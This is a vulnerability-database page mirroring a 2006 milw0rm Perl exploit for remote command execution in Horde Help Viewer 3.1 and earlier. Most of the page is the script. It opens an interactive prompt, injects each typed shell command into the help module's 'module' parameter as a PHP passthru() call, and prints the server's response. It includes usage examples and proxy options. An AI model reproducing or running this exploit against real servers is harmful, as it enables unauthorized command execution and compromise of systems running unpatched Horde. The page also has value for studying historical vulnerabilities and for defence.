Lucene search
K

Horde Help Viewer <= 3.1 - Remote Command Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 22 Views

Horde Help Viewer Remote Command Execution Exploi

Code

                                                #!/usr/bin/perl 
# Wed Apr  5 21:51:12 CEST 2006 [email protected]
#
# Horde help module remote execution
# 
# telnet 310.27.901.33.1109 1689 # thanks horatio for the address
# USER paranoia
# PASS total
# SYST
# REST 100
# REST 0
# PWD
# TYPE A
# PASV
# LIST
# CWD 0days
# GET horddy.pl
#
# w0w this damn 0day ftp is so sexy!
# 
# GO GO GO !! GO GO GO !! Team fall back!
# 
# Example: ./horddy.pl --host=http://www.server.com/horde
# 
# Now for your X-box !
# 
# Greets:
#  - all 514 crew 
#  - mallorca ppl r0xing.
#
# THIS IS PENE! TIMMY!!! LIVIN&#39; A LIE!
# 
 

use strict;
use LWP::UserAgent;
use LWP::Simple;
use HTTP::Request;
use HTTP::Response;
use Getopt::Long;

$| = 1;   # mess with the best? don&#39;t mess with my buffer

my ($proxy,$proxy_user,$proxy_pass);
my ($host,$debug,$dir, $command);
my $use_ssl = 0;

my $options = GetOptions (
  &#39;host=s&#39;      =&#62; \$host, 
  &#39;dir=s&#39;      =&#62; \$dir,
  &#39;proxy=s&#39;           =&#62; \$proxy,
  &#39;proxy_user=s&#39;      =&#62; \$proxy_user,
  &#39;proxy_pass=s&#39;      =&#62; \$proxy_pass,
  &#39;debug&#39;             =&#62; \$debug);

&help unless ($host); # please don&#39;t try this at home.

$dir = &#34;/horde/&#34; unless($dir);
print &#34;$host - $dir\n&#34;;

while () {
print &#34;horddy&#62; &#34;; # lost connection
while(&#60;STDIN&#62;) {
$command=$_;
chomp($command);
last;
}
&send($command);
}

sub buildcmd {# this is a useful comment
my ($cmd) = @_;
# wonderful hacking
$cmd =~ s/ /\%20/gi;
$cmd =~ s/\//\&#34;\.chr\(47\)\.\&#34;/gi;

return $cmd;
}

sub send {
    my ($tmp) = @_;
    my $ok=0;
    my $cmd = buildcmd ($tmp); # this is really magic ^^
    my $socket;
    LWP::Debug::level(&#39;+&#39;) if $debug; # but remember this is crap :D

    my $ua = new LWP::UserAgent();   
    $ua-&#62;agent(&#34;Nozilla/P.N (Just for IDS woring)&#34;); # this is not me :/

    my $string = &#34;/$dir/services/help/?show=about&module=;\&#34;.passthru(\&#34;$cmd\&#34;);&#39;.&#34;;

    if ($host !~ /^http/) {
$host = sprintf (&#34;http://%s&#34;, $host); # CRAP CRAP CRAP
    }

    my $req = HTTP::Request-&#62;new (GET =&#62; $host.$string);
    $ua-&#62;proxy([&#39;http&#39;] =&#62; $proxy) if $proxy;
    $req-&#62;proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

    print $req-&#62;as_string() if $debug; 

    my $res = $ua-&#62;request($req);
    my $html = $res-&#62;content(); 

    foreach (split(/\n/,$html)) {
if ((/&#60;h2/) or (/&#60;br \/&#62;/)) { # brum brum conditionals desmitified
last;
}
print &#34;$_\n&#34; if $ok eq &#34;1&#34;; # i don&#39;t think this is usefull 
if (/&#60;body class=/) {
$ok = 1;
}  
    }
}

sub help {
    print &#34;Syntax: ./$0 --host=url --dir=/horde [options]\n&#34;;
    print &#34;\t--proxy (http), --proxy_user, --proxy_pass\n&#34;;
    print &#34;\t--debug\n&#34;;
    print &#34;the default directory is /horde\n&#34;;
    print &#34;\nExample\n&#34;;
    print &#34;bash# $0 --host=http(s)://www.server.com/\n&#34;;
    print &#34;\n&#34;;
    exit(1);
}
exit 0;
# y00000w this is the best part.
# remember mallorca es fonki :D

# milw0rm.com [2006-04-07]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
22